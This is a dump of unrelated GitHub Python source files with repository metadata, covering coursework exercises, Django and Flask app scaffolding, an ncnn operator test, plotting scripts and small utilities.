UTF-8
Python
false
false
219
py
""""1. Converta as seguintes expressões matemáticas para que possam ser calculadas usando o interpretador Python. 10 + 20 × 30 42 ÷ 30 (94 + 2) × 6 -1""" print(10+20*30) print(24/30) print((94+2)*6-1)
[ "79612466+Beah25@users.noreply.github.com" ]
79612466+Beah25@users.noreply.github.com
d43421923e28dc97fd5b12bb5c47e1620396afd2
992c3cd95ececd527af8170e2bee88a6c61ac58d
/dashboard/www/laure_eu_pythonanywhere_com_wsgi.py
274374a21835ac652adf0fc6c2bce46b4752ef99
[]
no_license
sunktoteca/OC-Parcours-DS-P7
a3280c9f7f7eab42eba45467bed73f546dfd3f24
e49f5c9d2b15cc940c13c978075901d738b58fc3
refs/heads/master
2022-08-01T15:40:39.093714
2020-05-16T13:14:33
2020-05-16T13:14:33
253,282,179
0
0
null
null
null
null
UTF-8
Python
false
false
814
py
# This file contains the WSGI configuration required to serve up your # web application at http://LaureP7.eu.pythonanywhere.com/ # It works by setting the variable 'application' to a WSGI handler of some # description. # # +++++++++++ GENERAL DEBUGGING TIPS +++++++++++ # getting imports and sys.path right can be fiddl...
[ "aiandi.laure@gmail.com" ]
aiandi.laure@gmail.com
d48e55a2c467f1a31d65d6bae1413511555fee06
347d8a303c04aab294f71e3f2a29cae75ab44a57
/JDecrypt.py
9d19589fb32473eb7b1c6eb57dd376ff38c5e816
[]
no_license
dev-219/cse365
65f0b7db46c0ffb3e4979f9f115ffc1c2594fbae
54abe4bc61e0ba72d5c949a7d09bd1f51991e4db
refs/heads/main
2023-08-03T00:55:20.419315
2021-10-01T22:18:48
2021-10-01T22:18:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,126
py
import argparse import os import time #import socket import sys import string import gzip #from aes import AESCipher #from Crypto.PublicKey import RSA parser = argparse.ArgumentParser() parser.add_argument("-d", "--decrypt", help='Decrypt a file', required=True) parser.add_argu...
[ "nickvmorello25@gmail.com" ]
nickvmorello25@gmail.com
57f5675e37c7baca2aa6582d054a329201ad237c
f796fb850e3ee5a541d6d497438206eb9077618e
/msdk_pre_install.py
c39a06de5ddf65dd27cd4c36807de12f5ccb46d2
[ "MIT", "LicenseRef-scancode-unknown-license-reference" ]
permissive
ICE-Samples-and-Tools/Smart-Video-Evaluation-Toolkit-Linux-Sampe-Code
dbfe1194029baad212b1f8716e96e7ca60684b05
68e4fd555ba6eebea7581e43aa19890ddc290e0a
refs/heads/master
2020-12-05T20:07:20.716476
2020-04-08T08:09:13
2020-04-08T08:09:13
232,233,368
6
0
null
null
null
null
UTF-8
Python
false
false
10,170
py
#!/usr/bin/python """ Copyright (c) 2018 Intel Corporation All Rights Reserved. THESE MATERIALS ARE PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLA...
[ "roger.mao@intel.com" ]
roger.mao@intel.com
d0710695361a0dfc22191e5290260be50fa78663
9ec717a8b872d4a244b824e7d58c04682ec253da
/q277.py
9aa88227108f2623db93bb257fb5986053864703
[]
no_license
msbuddhu/PythonBasics
509ee83392aefe17eb06cbd5e108ab57c985466f
2540f0e1a944868e21ea6f76a16a7d6277657c54
refs/heads/master
2022-12-14T17:25:56.008705
2020-09-17T15:23:43
2020-09-17T15:23:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
153
py
class Employee: def __init__(self): self.eno = 100 self.ename = 'Durga' self.esal = 10000 e = Employee() print(e.__dict__)
[ "kaushalshabi@gmail.com" ]
kaushalshabi@gmail.com
20895873e796e2f428e83a50344bfb62e1fe17a1
8ddb0ed5abe22db2ff1b3ecd750eeba80fab2654
/v15/LogTransponder.py
d0d2e6146ad2388126784105b4ffad80c448634c
[]
no_license
borntocodeRaj/python_AGV
8c292f3ba23b6a18fbbbce2955d050d8fdc96b7c
af4e0f5deee618c30a51242647564ed19d83098d
refs/heads/master
2022-12-14T02:34:37.076517
2020-09-04T20:47:53
2020-09-04T20:47:53
292,793,585
0
0
null
null
null
null
UTF-8
Python
false
false
4,592
py
#!/usr/bin/python import matplotlib.pyplot import matplotlib.mlab import collections import numpy from math import * from matplotlib.colors import LinearSegmentedColormap import Utils tractionAv=[] def square(x): return x*x def Import(filename): datas=matplotlib.mlab.csv2rec(filename,delimiter='\t') print "Transp...
[ "HADwas_Integrator.BSOT@bosch-softtec.com" ]
HADwas_Integrator.BSOT@bosch-softtec.com
ffdee593dfdcf10d8efd3c6153844ea9bd405272
e5a9f032c160b841fd9cbac9675c06dd2cf4dbe0
/onlinelinguisticdatabase/model/db_update_scripts/0.2.7_1.0a2/old_update_db_0.2.7_1.0a1.py
05ac0ab17bcef143916bb8bf823019897ce1b213
[ "Apache-2.0" ]
permissive
FieldDB/old
bfaa94690dc10f8081ad586663f09b550c2b50aa
f9cdbfe48eb9709f0b2d1e7790e7c2e612937071
refs/heads/master
2021-01-21T04:00:01.450384
2013-08-13T18:14:32
2013-08-13T18:14:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
78,347
py
#!/usr/bin/python # Copyright 2013 Joel Dunham # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
[ "jrwdunham@gmail.com" ]
jrwdunham@gmail.com
36496dc112f4b0084f815b723a2f72e4144858a2
b1384af379a2f56b7ea18c1cbbf4085d7ecbb7b6
/AISProject/pattern.py
8e6453758dc21eda2e77a65de2f11de68d193c74
[]
no_license
BlaiseL/SRIVR
aac02fababae8d16b779f34e68c85e5aaa0572b8
97a2c7432b3c487d5185dbb552e2464ca18cf974
refs/heads/master
2021-03-24T13:22:56.325129
2017-07-27T11:56:28
2017-07-27T11:56:28
94,103,014
1
0
null
null
null
null
UTF-8
Python
false
false
276
py
import re string= "\'x\': -74.1076431274414, \'y\': 40.647701263427734," string=str(string) b = re.compile(r"\'x\': -+\d+\.\d*") c = re.compile(r"\'y\': +\d+\.\d*") #d = re.compile(r"\'mmsi\': +\d*") return (re.search(b,string).group() + "," + re.search(c,string).group())
[ "emailgabby@gmail.com" ]
emailgabby@gmail.com
c9aa6c6d8cf7370268e9ba8d145e89cdefa8b224
dd1e55f4a3c2c99a79e45195dff1132edc24c0f0
/scripts/xproto_sanity_check.py
f977b2866544d634c235b3db752a738d8b31f171
[ "Apache-2.0" ]
permissive
iecedge/xos
29f1e04066bae09970ea1e9d153e33f4787fe27d
566617f676fedcb2602266191c755d191b37018a
refs/heads/master
2020-05-01T17:16:10.009896
2019-02-22T20:05:47
2019-03-02T14:09:55
177,595,203
0
0
Apache-2.0
2019-03-25T13:46:55
2019-03-25T13:46:54
null
UTF-8
Python
false
false
2,112
py
#!/usr/bin/env python # Copyright 2017-present Open Networking Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required b...
[ "lafonj@gmail.com" ]
lafonj@gmail.com
f6e48ed453acfeacb2bc7ce5b0987480f39bf064
225a1d5fca742ae4f502bc346e26d804283e925e
/luna/shortcuts.py
eb802ebf4837f5a06844a562249863d1b76f2dc0
[ "MIT" ]
permissive
y372465774/luna
8ad056fdd956c9fa5508d6d3a657b76785e9641d
ee3bb740f2cee67fa84b3e923979d29fd14015a7
refs/heads/master
2021-06-21T12:43:09.821262
2017-06-03T23:11:47
2017-06-03T23:11:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
473
py
from luna import util from luna.compiler import Compiler from luna.parser import Parser def compile(filepath): tree = parse(filepath) compiler = Compiler() return compiler.compile(tree) def interpret(filepath): frame = compile(filepath) frame.run() def parse(filepath): import os content ...
[ "numerodix@gmail.com" ]
numerodix@gmail.com
d2e678f126fa9f4a2b06d9a9db003b86dc26c0cb
d668209e9951d249020765c011a836f193004c01
/tools/pnnx/tests/ncnn/test_F_pad.py
88590649883cbbc978a447b89328a1e6e6372751
[ "BSD-3-Clause", "Zlib", "BSD-2-Clause" ]
permissive
Tencent/ncnn
d8371746c00439304c279041647362a723330a79
14b000d2b739bd0f169a9ccfeb042da06fa0a84a
refs/heads/master
2023-08-31T14:04:36.635201
2023-08-31T04:19:23
2023-08-31T04:19:23
95,879,426
18,818
4,491
NOASSERTION
2023-09-14T15:44:56
2017-06-30T10:55:37
C++
UTF-8
Python
false
false
2,062
py
# Tencent is pleased to support the open source community by making ncnn available. # # Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); you may not use this file except # in compliance with the License. You may obtain a copy of the...
[ "noreply@github.com" ]
noreply@github.com
1c77dba5905a2cb966626324f46fa89f88fbd802
e8c31e1c1e667429509783682fc1d4da8ad816e7
/exec -l /bin/bash/google-cloud-sdk/lib/googlecloudsdk/third_party/apis/pubsub/v1/pubsub_v1_messages.py
875964c1532fd14fbfebbcd91aa8a80009d46674
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
amaclean2/TheLessonBox
432008fd05db0473e4c3ddb6fb326ac31542ce81
593b60832bf95d3b92dd711b05d4d992d3f279a5
refs/heads/master
2020-04-30T17:56:16.006932
2019-04-10T04:36:13
2019-04-10T04:36:13
176,994,990
0
0
null
null
null
null
UTF-8
Python
false
false
53,925
py
"""Generated message classes for pubsub version v1. Provides reliable, many-to-many, asynchronous messaging between applications. """ # NOTE: This file is autogenerated and should not be edited by hand. from apitools.base.protorpclite import messages as _messages from apitools.base.py import encoding package = 'pub...
[ "andrewmaclean@dreambook.lan" ]
andrewmaclean@dreambook.lan
2dc357c6e14811d005b97e3af4b53df48677a7b7
d1f4fcb4149fd039cf4745659ef428d7f8f9281f
/python/pangram/pangram.py
297eb12c03696798d27e76e0b1fb7d41f6160289
[]
no_license
Scottmacaz/Exercism
104d7a2dc9e2070965b3df5701d9137a826bfcb5
702c33d7ddf22d30d335122773cd58f64deefc9f
refs/heads/master
2023-01-14T00:35:55.174479
2020-01-23T03:49:36
2020-01-23T03:49:36
206,675,337
1
0
null
2023-01-05T04:52:50
2019-09-05T23:41:41
Python
UTF-8
Python
false
false
134
py
def is_pangram(sentence): cSet = set() for c in sentence: if c.isalpha(): cSet.add(c.lower()) return len(cSet) == 26
[ "scott.macmillan@hamiltoncompany.com" ]
scott.macmillan@hamiltoncompany.com
b68db5b824aa15e4e5e9181238d53171a3237d07
f9b880518b595d36f0d513710f50217bb6e0f413
/94. Binary Tree Inorder Traversal/Solution.py
a835deb46bd14d8f3f7f98931fec33fdd6b18e2a
[]
no_license
ken24ny/LeetCode
ba57cc2bbb15de9e2b57e79d140ff2096cbf699b
f0b3c9a334b37c65079f0ff0a52b3f1430037329
refs/heads/main
2023-07-08T18:12:45.178373
2021-08-07T07:15:56
2021-08-07T07:15:56
316,224,947
0
0
null
null
null
null
UTF-8
Python
false
false
268
py
# Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def inorderTraversal(self, root: TreeNode) -> List[int]:
[ "ken24.ny.98@gmail.com" ]
ken24.ny.98@gmail.com
c7afbd9e4b66dcaded0036d1fd6ef22bb15448a5
fcc73eb9810913d22fbc41258162535adddf8bef
/examples/cube_ping.py
fd2f83aa0ad53f519e1a817826af0ca4853bd10e
[]
no_license
stevelorenz/haec-emulator
2e4522454b6b6615abf6623df929ed77671accd6
3b11c6d3b263b90aa6f20bfa0326dd2b7c5a6162
refs/heads/master
2020-03-19T04:34:15.101679
2019-01-31T16:00:45
2019-01-31T16:00:45
135,842,843
1
0
null
null
null
null
UTF-8
Python
false
false
879
py
#!/usr/bin/env python2 """ About: Simple ping with HAECCube topology """ import time import sys from haecemu.emulator import Emulator, ExpInfo from haecemu.topolib import HAECCube if __name__ == "__main__": if len(sys.argv) == 1: board_len = 3 else: board_len = int(sys.argv[1]) # Use ht...
[ "xianglinks@gmail.com" ]
xianglinks@gmail.com
d5d8511bd6bfe626f39b27b60f64769c13e8a48a
a487145b6f5bff2ad6e51a52198fb97ccd613a3b
/trace/tests/system/django/django_system_test.py
16e3c1d48f733dbba3d24cb49bb052682b8c7574
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
theacodes/opencensus-python
24fe12e174ad83e84e4f41b2ca3785ef6f614f12
abe9a699546871740755099874e39d1c83e01e72
refs/heads/master
2021-08-15T10:59:26.749783
2017-11-17T00:05:29
2017-11-17T00:05:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,587
py
# Copyright 2017, OpenCensus Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
[ "noreply@github.com" ]
noreply@github.com
2a13f255b52e0af66445e5f63c3054786727a5e5
b5aca7612bad39e9f9c66faa217919029177cd30
/DataStructures/graphstructure.py
728dcf8bb5a2cb7c3d35ef33a3816885c3f2980a
[]
no_license
JeOs714/Lab8_202010
242c8dc4c11e5fdbe69c3bbf1c021a0acde61d84
6199d57dba238ba01e29142eae16b22ffd771bb3
refs/heads/master
2022-04-23T17:13:28.418263
2020-04-29T04:56:46
2020-04-29T04:56:46
259,783,730
0
0
null
2020-04-29T00:26:55
2020-04-29T00:26:54
null
UTF-8
Python
false
false
3,375
py
""" * Copyright 2020, Departamento de sistemas y Computación, Universidad de Los Andes * * Desarrollado para el curso ISIS1225 - Estructuras de Datos y Algoritmos * * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * ...
[ "cc.castellanos87@uniandes.edu.co" ]
cc.castellanos87@uniandes.edu.co
2a1a20fbda064e430818a015bec03fd36dd07e8c
9084ac4f72e07ba24a939f5797456a887cebb41b
/src/operators/binaire/testDiscriminateParmsWithOperators.py
1126da34e472c0cc7cc6be3db2d74bd486702ba4
[]
no_license
Akamanouche/python-at-Anaolabs
f08d4dd6b569cfc828d003cdefeea7727f176991
18b5d9d3e123e6b90a340ac033aef41129a395c4
refs/heads/master
2021-01-21T13:48:32.202366
2016-03-14T17:16:05
2016-03-14T17:16:05
16,706,658
0
0
null
null
null
null
UTF-8
Python
false
false
924
py
''' Created on May 20, 2010 @author: akamanouche ''' from operators.binaire import settings def isRunConf(run): return (run & settings.RUN_CONF == 1) def isRunTest(run): return (run & settings.RUN_TEST == 2) def isRunClean(run): return (run & settings.RUN_CLEAN == 4) # MAIN s1=settings.RUN_CONF s2=se...
[ "akamanouche@gmail.com" ]
akamanouche@gmail.com
79046f4dcf1511e3525bd2e247bed415112d7b9e
8838a632810a869716c838cdaa127fec106b2b97
/todos/views.py
d94f4ea0d1d47ba1b1471c65736a9a5e5214af98
[]
no_license
geetika96/Esaas_Project
0c58a7ee53eb801995a3ca339c7275ec9fb9f80c
31fffe3fbde8ab5d734bf5afdee9111dbfe59c6f
refs/heads/master
2021-08-23T04:57:42.932814
2017-12-03T13:15:29
2017-12-03T13:15:29
112,831,158
0
3
null
2017-12-03T13:15:30
2017-12-02T09:55:12
Python
UTF-8
Python
false
false
399
py
from django.shortcuts import render from django.http import HttpResponse from .models import Todo # Create your views here. def index(request): todos = Todo.objects.all()[:10] context ={ 'todos' : todos } return render(request, 'index.html', context) def details(request, id): todo = Todo.objects.get(id = id) ...
[ "geetanjaligoyal@gmail.com" ]
geetanjaligoyal@gmail.com
493e914df20c748d4656020b67b875225fe88ce7
c19796747afd9b5115673e7187d75b45695c197b
/HW5/parameters/RobustNPRegressionParameters.py
44ca3a68ccfa8993a26dd8c27fe45ee15429e2b1
[]
no_license
DimaPhil/ML-Hometasks
7a3d818d9fff558f2305f29e12681a880431f3d9
7adf54f5a3239b7d741515c7b8e6f1c8090e390e
refs/heads/master
2021-05-01T10:18:27.870211
2016-12-22T19:32:03
2016-12-22T19:32:03
68,249,760
0
0
null
null
null
null
UTF-8
Python
false
false
435
py
class RobustNPRegressionParameters: def __init__(self, kernel, kname, train, k, gamma, mse): self.kernel = kernel self.kname = kname self.train = train self.k = k self.gamma = gamma self.mse = mse def __str__(self): return 'train = %s\nkernel = %s, k = %s...
[ "dima239philippov@gmail.com" ]
dima239philippov@gmail.com
24b48a6be3dbfc311b3b527d770f8cdce2a598a3
3f2b85904a288d7745850d0d916fd6635fc0968b
/server/urls.py
5b5b5e280f9f2f8e44b8c3e8cf0205a98121e942
[]
no_license
Drusiand/SPbSTU_2021-RShiny_DjangoRest
f4d1f1269877ba62f1b1eab4ee793c1497ba3cde
55d8d6dca1d4f0728ed2a2a9a09b6e72387bfffe
refs/heads/main
2023-08-14T08:23:32.635479
2021-09-14T13:17:00
2021-09-14T13:17:00
406,056,056
0
0
null
2021-09-21T19:30:30
2021-09-13T16:53:23
Python
UTF-8
Python
false
false
797
py
"""imagemanager URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-...
[ "ezhva2010@gmail.com" ]
ezhva2010@gmail.com
39cc4e099aa37ab1579f7c04e74443cbead96379
5fe5607fafe3501e4ff277133f82a1c21bff4130
/dududu/bookstore/manage.py
a4b716a4beb4cb0bc888817d49f9ad4dfbc80681
[]
no_license
zhangdebiao/dududu
ad9740902307d87458f42bb0cd317aad0d37e5fb
db9354f735b5fbd2162092f842fc9db0356d00ea
refs/heads/master
2022-11-29T22:08:44.976037
2020-07-05T05:27:37
2020-07-05T05:27:37
149,884,189
1
0
null
2022-11-22T02:08:48
2018-09-22T14:25:08
Python
UTF-8
Python
false
false
280
py
#!/usr/bin/env python import os import sys import imp imp.reload(sys) if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "bookstore.settings") from django.core.management import execute_from_command_line execute_from_command_line(sys.argv)
[ "843345000@qq.com" ]
843345000@qq.com
51d7da1a7e61d0c5835309619a7e24a43afe1121
a13e013ca86008a0761ffc7f4cacbf69d5d139ed
/whatdoesthefoxsay.py
badeac3e0b56c79fdc11d55aafc9ce0f6537703a
[]
no_license
thomas-vu/Kattis
b189050a8caffcf8c7a317cc40630c10901672ba
98561701c74e151203abc91ea1f151b8676267b9
refs/heads/master
2020-08-22T13:41:48.328820
2019-12-19T08:50:23
2019-12-19T08:50:23
216,407,352
0
0
null
null
null
null
UTF-8
Python
false
false
277
py
for _ in range(int(input())): recording = input().split() notfox = set() line = input() while line != 'what does the fox say?': notfox.add(line.split()[-1]) line = input() print(' '.join(sound for sound in recording if sound not in notfox))
[ "shuhari@macbook.local" ]
shuhari@macbook.local
ed20f0ff5ef0931674df3d3cb706768578fb1f47
28225a61f2fc33e4f6d56a1941a99301489c0f1e
/GAN/CoGAN(WIP)/main.py
34036d03559776a7b713da6c23fac7aa13909638
[]
no_license
sailfish009/pytorchTutorialRepo
97cb4368b6ac22bd678965d351196b47d52970e1
17d67e64555d2b219d7d53de6a7bfda4172b809b
refs/heads/master
2023-03-08T13:03:57.244087
2021-02-23T11:26:19
2021-02-23T11:26:19
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,696
py
import argparse import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torchvision import datasets, transforms from torch.optim.lr_scheduler import StepLR from tqdm import tqdm from trainer import * import torchvision.models as models import mnistm import os os.environ["TORC...
[ "msubhaditya@gmail.com" ]
msubhaditya@gmail.com
f8248426248ccacee6a1be391c5edfcd4e254816
15908e149e14e0ffc49577a9c7ddd850bef04080
/practice/pandas_numpy_xlrd.py
248c31b45ebff620f9ded213e8feb73cf7fbf664
[ "MIT" ]
permissive
zhengbigbig/python_demo
22ca06ad516d48b34e5676efd5881a0720736202
29b62bea9e5abaa02e51744a926f722d1b99ec8d
refs/heads/master
2022-12-09T19:18:57.966044
2020-08-27T03:32:27
2020-08-27T03:32:27
196,335,818
0
0
null
null
null
null
UTF-8
Python
false
false
1,113
py
import xlrd import os import pandas as pd os.chdir('/Users/zhengzhiheng/PycharmProjects/untitled3') wordbook = xlrd.open_workbook('test.xlsx') sheet_name = wordbook.sheet_names() print(sheet_name) lst = pd.read_excel('test.xlsx', sheet_name=0) lst2 = pd.read_excel('test.xlsx', sheet_name=1) print(lst.head(5)) # ignore...
[ "780357902@qq.com" ]
780357902@qq.com
0d92fd2ee28e04d78809732a2dee60edb3099e39
d9d3a5138a41908d27c176341bd662fae63fb7a6
/C108.py
6a9360f248b44af0272dec3264f136ff9191ad0c
[]
no_license
shreyashPramod/C108p
60f714bee6cae296d21ad4715f427c7452436943
51850a49915689755bbbcde43ec68e3c83f443aa
refs/heads/main
2023-07-17T00:33:07.084510
2021-08-21T13:03:55
2021-08-21T13:03:55
398,559,479
0
0
null
null
null
null
UTF-8
Python
false
false
177
py
import csv import pandas as pd import plotly.figure_factory as ff df=pd.read_csv("data.csv") fig=ff.create_distplot([df["Avg Rating"].tolist()],["Avg Rating"]) fig.show()
[ "noreply@github.com" ]
noreply@github.com
47144dab15dde004b26043cdb90b77528620fede
083e6e9cb64b15df45de504890581616225041ff
/test_models.py
b628b83e2a809b725d0aec033466a3ded95a6c57
[ "MIT" ]
permissive
okankop/Efficient-3DCNNs
50cc32da0e9a621bf19c0f7332349bf1e28a7b48
9db09f629d8acad06b316e40c351fa96d01c2268
refs/heads/master
2023-06-04T07:05:45.268148
2021-10-18T09:24:26
2021-10-18T09:24:26
179,437,464
723
160
MIT
2022-12-21T17:46:28
2019-04-04T06:42:05
Python
UTF-8
Python
false
false
5,823
py
import argparse import time import os import sys import json import shutil import numpy as np import torch from torch.autograd import Variable from sklearn.metrics import confusion_matrix from torch.nn import functional as F from opts import parse_opts from model import generate_model from dataset import get_training_...
[ "okankopuklu@gmail.com" ]
okankopuklu@gmail.com
cc6235423f9891b596d7a5b2ea136344179360a9
2ce01624461952c3eab1f28145f34bd135280e6d
/src/csgi/rpc/__init__.py
fce0203ac175c8ebfbef9a159d90f962a09cf1fe
[ "LicenseRef-scancode-public-domain" ]
permissive
sergio-bershadsky/csgi
a0a105c70fadda0abe506d0a1b796893e70bb7a8
108a8aa5b577833f0d9b7a9dd4d36fbb9a194658
refs/heads/master
2021-05-31T06:08:34.617346
2015-03-08T15:19:40
2015-03-08T15:19:40
null
0
0
null
null
null
null
UTF-8
Python
false
false
77
py
from .base import * from .json.jsonrpc import * from .json.jsonrpcio import *
[ "nikitinsm@gmail.com" ]
nikitinsm@gmail.com
9bcc59034c881a3c1b6c4c6e4be0b400fa0191b6
d8da64ecb3a88f8f3196937d3836c7bbafd5e26f
/backend/home/migrations/0002_load_initial_data.py
5ac5736cbfb33d2462efd03c2c2be03900aba58d
[]
no_license
crowdbotics-apps/layouteditor151-1654
990b395d8054e05b0f8739345d5e55623cead88c
75e3614856ab5577da68e9ec4ad0157f462abd6d
refs/heads/master
2022-11-16T05:09:59.518254
2020-07-03T17:54:23
2020-07-03T17:54:23
276,958,333
0
0
null
null
null
null
UTF-8
Python
false
false
1,313
py
from django.db import migrations def create_customtext(apps, schema_editor): CustomText = apps.get_model("home", "CustomText") customtext_title = "layouteditor151" CustomText.objects.create(title=customtext_title) def create_homepage(apps, schema_editor): HomePage = apps.get_model("home", "HomePage...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
f26398c31daf5bb197136dc061cecc5c20efe164
84b0ff45345a4e557a5b351b20f17ee9cc10b38f
/app/__init__.py
30618eb486f8b3c995dcbe6259acb85cc614a786
[]
no_license
maheshkkumar/project
1895f62c95faa734ab10b914ff713c401a91c70f
1c687446d9d6c19fbd2f6e64cafcf73caa505f51
refs/heads/master
2021-01-10T07:47:55.642409
2016-02-16T02:29:35
2016-02-16T02:29:35
51,799,371
0
0
null
null
null
null
UTF-8
Python
false
false
269
py
from flask import Flask from flask.ext.sqlalchemy import SQLAlchemy #Create an Instance of Flask app = Flask(__name__) #Include config from config.py app.config.from_object('config') #Create an instance of SQLAclhemy db = SQLAlchemy(app) from app import views, models
[ "maheshkumar.wdp21@gmail.com" ]
maheshkumar.wdp21@gmail.com
7c9d1a6e82b0f7053ca52dfc725c211a2c9025ec
0c4337b3a1fd44bb744550ba208f33f341604e00
/chapter 5/2_relax.py
d43c2b288436a95b83399e50c2d0c0534b2826b2
[]
no_license
Michael-Wisniewski/algorithms-unlocked
262e479429f3186d2f25e6ab6181356934b6f37f
a93cfbaa49987e635757c2de45ae326b8e3d3e34
refs/heads/master
2021-12-06T04:06:43.841197
2021-07-25T09:58:32
2021-07-25T09:58:32
186,127,198
0
0
null
null
null
null
UTF-8
Python
false
false
360
py
def relax(u, v, weight, shortest, previous): """Time complexity O(1). >>> shortest = [0, 1000] >>> previous = [None, None] >>> relax(0, 1, 2, shortest, previous) >>> shortest [0, 2] >>> previous [None, 0] """ if shortest[u] + weight < shortest[v]: shortest[v] = short...
[ "mikex929@gmail.com" ]
mikex929@gmail.com
c2d0301ed2602e5c4827ff457d98b05150e92c62
b957c3aa7da035a8aea2f11b448d5f1ff3e1d580
/prototype_proj/urls.py
21791e957781ee596048697d89a688697417dfca
[]
no_license
sdempsey123/badgolf_project
9b7b9b51426bc4e30dcb470b80e417f3549fbb44
d1214e9a1c710f6f9cae4da4b3507b5d10e47a0e
refs/heads/master
2023-07-28T15:11:43.953968
2021-09-07T21:38:52
2021-09-07T21:38:52
398,349,916
0
0
null
null
null
null
UTF-8
Python
false
false
741
py
"""prototype_proj URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Clas...
[ "75657565+sdempsey123@users.noreply.github.com" ]
75657565+sdempsey123@users.noreply.github.com
5563ae8026d334c6f1bd287a7440277be9ee4a10
08b236985c2455b0f57db00e7f0a92c31896aa20
/examples/get_fruits/Main.py
2cc60c73e615183ffdddbd584ae91eb3b2124530
[ "MIT" ]
permissive
yuehaowang/pylash_engine
fcf674d2cbf3e47a03a51d47e8811b8b05f67ed1
338c1552ff55e1088534bc127cfc5aafbda61227
refs/heads/master
2021-07-11T00:58:06.031606
2021-03-12T08:25:05
2021-03-12T08:25:05
41,961,981
40
21
null
2016-03-12T17:18:07
2015-09-05T13:31:40
Python
UTF-8
Python
false
false
5,815
py
# !/usr/bin/env python3 # -*- coding: utf-8 -*- import random from Player import Player from Item import Item from pylash.core import stage, init, addChild, KeyCode from pylash.loaders import LoadManage from pylash.display import Sprite, BitmapData, Bitmap, FPS, TextField, TextFormatWeight from pylash.events import M...
[ "wangyuehao1999@gmail.com" ]
wangyuehao1999@gmail.com
126272a2adf94b2232dd3e49a3ec253ce66a2838
4a6beb19c32f8f45a9908001ba3fdb1d217f4225
/fliska/producer.py
233dece6100346f08398e8173af31b2f440fde2c
[]
no_license
vibiu/fliska
e8e8192f66954c81cc434e011d0116a80bfad7b1
e28ea93184581589e3146dfd528c2020429e6f60
refs/heads/master
2020-03-18T18:51:54.558951
2018-07-10T04:06:15
2018-07-10T04:06:15
135,119,304
1
0
null
null
null
null
UTF-8
Python
false
false
1,595
py
import pika class PikaProducer: def __init__(self, app=None): self.app = app if app is not None: self.init_app(app) def init_app(self, app): self._rabbitmq_config = self.app.config.get('RABBITMQ_CONFIG', None) if not self._rabbitmq_config: raise ValueEr...
[ "vibiu" ]
vibiu
9ba3d749ac02b9789d39e5db4c5a3b02b25f5f95
1c538cc4ddb8ced45d0b7f821fdde0e350bce356
/order_items_retrieval/utils.py
de95df6e16b4977baaf1921ec98bdd38bc68e266
[]
no_license
monark12/My-Projects
6ff1aad5d00b97407e0e2011364d7115aed3ab24
45b1cc52ccc559581c6d07d7155279fbecd9cad7
refs/heads/master
2021-01-13T09:10:10.727421
2017-01-09T07:39:00
2017-01-09T07:39:00
69,689,141
1
0
null
null
null
null
UTF-8
Python
false
false
8,610
py
#!/usr/bin/env python import re import string def tokenize(s): """ Tokenize on parenthesis , punctuation, spaces and American units followed by a slash. We sometimes give American units and metric units for baking recipes. For example: * 2 tablespoons/30 mililiters milk or cream * 2 1/2 c...
[ "noreply@github.com" ]
noreply@github.com
336836d081656a30bf7cf174241c300090a3e61a
2f464f123d48bd5e03d92a73f3a09ffe52b0b89f
/chapterAssignments/chapter5_7.py
66ba1c36f72a28fbf6a7c98c81e0c2e7cddb3d83
[]
no_license
blessyann/MonCo-DataImmersive
a50a7f1faa79fb77b50992a7278f8247e5bf5fb4
16303830bfe0eee9fad45e6fb710fd825c157d16
refs/heads/master
2022-09-28T12:08:18.883642
2020-05-26T04:26:40
2020-05-26T04:26:40
254,183,166
0
0
null
2020-05-02T20:27:55
2020-04-08T19:37:10
Jupyter Notebook
UTF-8
Python
false
false
902
py
# Exercise 5.7 Favorite Fruit: Make a list of your favorite fruits (call it "favorite_fruits"), and then write five "if" statements # that check for certain fruits in your list (some of the checks should be True and some should be False). If the fruit is in your list, the "if" block should # print a statement such ...
[ "noreply@github.com" ]
noreply@github.com
9dff0431f838a1a504fe9b24ea59c733529ae5fa
25d6371928dc91e2593edf04d7428f4cf886da42
/students/wzh/pyfile/playmusic.py
3cec9f688f00be432a2e29637a297462a40713ab
[]
no_license
ophwsjtu18/ohw
7d4ecca6fc98cadbabd3c088c0d69efa3d20a10f
67677baad6d0b92d3d453309b66ed274c097dfd6
refs/heads/master
2021-05-25T10:28:59.872340
2018-12-19T13:18:34
2018-12-19T13:18:34
127,097,829
1
3
null
2018-11-07T10:53:03
2018-03-28T06:58:57
Python
UTF-8
Python
false
false
929
py
